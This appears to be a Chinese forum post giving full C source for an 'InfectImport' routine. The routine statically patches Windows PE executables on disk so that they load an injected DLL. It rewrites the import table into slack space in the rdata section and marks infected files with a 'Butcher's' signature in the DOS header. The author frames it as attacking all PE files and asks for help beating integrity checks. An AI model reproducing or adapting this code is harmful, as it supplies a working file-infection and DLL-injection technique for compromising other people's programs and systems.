之前有朋友说此方法还不够通用.原因有个别国外程序会启动后,对自身加载的所有文件进行HASH效验,不过它可以检测自带的文件.难道连系统文件也效验.先判断当前系统.
再取得微软的效验?这强度未免太大了吧. 我一个人实在没有那么多精力测试.希望朋友们帮忙.
微软的Detours也在使用这种方法注入,我的和它的有一点区别.它的比较温柔.主要攻击EXE,启动进程挂起.然后修改动态PE.我攻击所有PE文件.静态修改.
编程语言:C
编程环境:Microsoft Visual Studio 2008
系统平台:Windows server 2008
实现原理:
启动进程系统是通过其导入表确定该为其加载那些动态连接库.它是一个数组.每个成员代表一个动态连接库.我们要做的就是为这个数组增加一个成员.
而这个成员就是我们的动态连接库.只是这个数组是固定大小的,它的前面后面.都没有位置让我们新增一个成员.所以我们只能随便找一个空地新构造一个这样的数组即可
代码:
函数名称:InfectImport 函数返回:true or false 第一参数:目标文件路径 第二参数:将注入的动态连接库 int InfectImport(const char* Path,const char* Library) { char Sign[0x10]={0}; FILE* File=0x0; char* Buffer=0x0; const char* Test=TEXT("Butcher's"); unsigned long Size=0; unsigned long Offset=0; IMAGE_DOS_HEADER Dos={0}; IMAGE_NT_HEADERS NT={0}; IMAGE_SECTION_HEADER Section={0}; IMAGE_IMPORT_DESCRIPTOR* Import=0; IMAGE_DATA_DIRECTORY* Directory=0; //申请所需的局部变量并为其初始化 if (fopen_s(&File,Path,TEXT("rb+"))!=0) { return 0; } //以读写权限打开目标文件 __try { __try { fread(&Dos,sizeof(IMAGE_DOS_HEADER),1,File); if (Dos.e_magic!= IMAGE_DOS_SIGNATURE) { return 0; } //读取文件DOS头到缓存,并判断DOS签名 fseek(File,0x28,SEEK_SET); fread(Sign,0x10,1,File); if (strcmp(Test,Sign)==0) { return 0; } //读取文件第28字节处到缓存,此为IMAGE_DOS_HEADER结构e_res2[10]域的位置. //原为微软定义的保留位.就是微软还没想好用这个地方做点什么,只是空一个空留着以后想到了再用. //那它现在不用,我们就拿来用一下.用来做效验.判断当前文件是否已经被感染过了.如没有才继续 fseek(File,Dos.e_lfanew,SEEK_SET); fread(&NT,sizeof(IMAGE_NT_HEADERS),1,File); if (NT.Signature!=IMAGE_NT_SIGNATURE) { return 0; } //读取文件NT头到缓存,并判断NT签名 fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER),SEEK_SET); fread(&Section,sizeof(IMAGE_SECTION_HEADER),1,File); if (Section.VirtualAddress!=NT.OptionalHeader.BaseOfData) { return 0; } //读取文件rdata节到缓存,并判断正确性. Size=NT.OptionalHeader.DataDirectory[1].Size; if (Size+0x20>Section.SizeOfRawData-Section.Misc.VirtualSize) { return 0; } //获取文件导入表尺寸,并判断rdata节剩余空间是否能容纳新增一个导入项的新导入表. Offset=Section.PointerToRawData+Section.Misc.VirtualSize; //获取节空隙起始位置 Buffer=calloc(0x20,sizeof(char)); memset(Buffer,0,0x20); strcpy_s((char*)Buffer,strlen(Library)+1,Library); *(int*)((int)Buffer+0x10)=0x80000001; *(int*)((int)Buffer+0x14)=0x0; *(int*)((int)Buffer+0x18)=0x0; *(int*)((int)Buffer+0x1c)=0x0; //申请20字节堆,用以构造新导入项结构 fseek(File,Offset,SEEK_SET); fwrite(Buffer,sizeof(char),0x20,File); //把新构造的导入项结构写入文件rdata节空隙起始位置 Import=malloc(sizeof(IMAGE_IMPORT_DESCRIPTOR)); Import->FirstThunk =Offset+0x10; Import->ForwarderChain =0; Import->Name =Offset; Import->OriginalFirstThunk =Offset+0x18; Import->TimeDateStamp =0; //申请堆,用以构造新导入项. fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress+Size-0x14,SEEK_SET); fwrite(Import,sizeof(IMAGE_IMPORT_DESCRIPTOR),1,File); //在文件导入表结尾处写入新构造的导入项 Buffer=realloc(Buffer,Size); memset(Buffer,0,Size); fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress,SEEK_SET); fread(Buffer,sizeof(char),Size,File); fseek(File,Offset+0x20,SEEK_SET); fwrite(Buffer,sizeof(char),Size,File); //复制新导入表到新位置 Directory=malloc(sizeof(IMAGE_DATA_DIRECTORY)); Directory->Size =Size+0x14; Directory->VirtualAddress =Offset+0x20; fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)-0x78,SEEK_SET); fwrite(Directory,sizeof(IMAGE_DATA_DIRECTORY),1,File); //修改文件目录使导入表指向新位置,报告新尺寸 fseek(File,0x28,SEEK_SET); fwrite(Test,strlen(Test),1,File); //成功后在文件第28字节处,也就是IMAGE_DOS_HEADER结构e_res2[10]域的位置写入我们自定义的感染标志.这里标志为:Butcher's } __except(EXCEPTION_EXECUTE_HANDLER) { return 0; } } __finally { free(Buffer); free(Import); free(Directory); fclose(File); } return 1; }
PS:此代码居然破坏性.请先备份目标文件再行使用 (使用前请把想要注入的动态连接库放入与目标相同的文件夹内)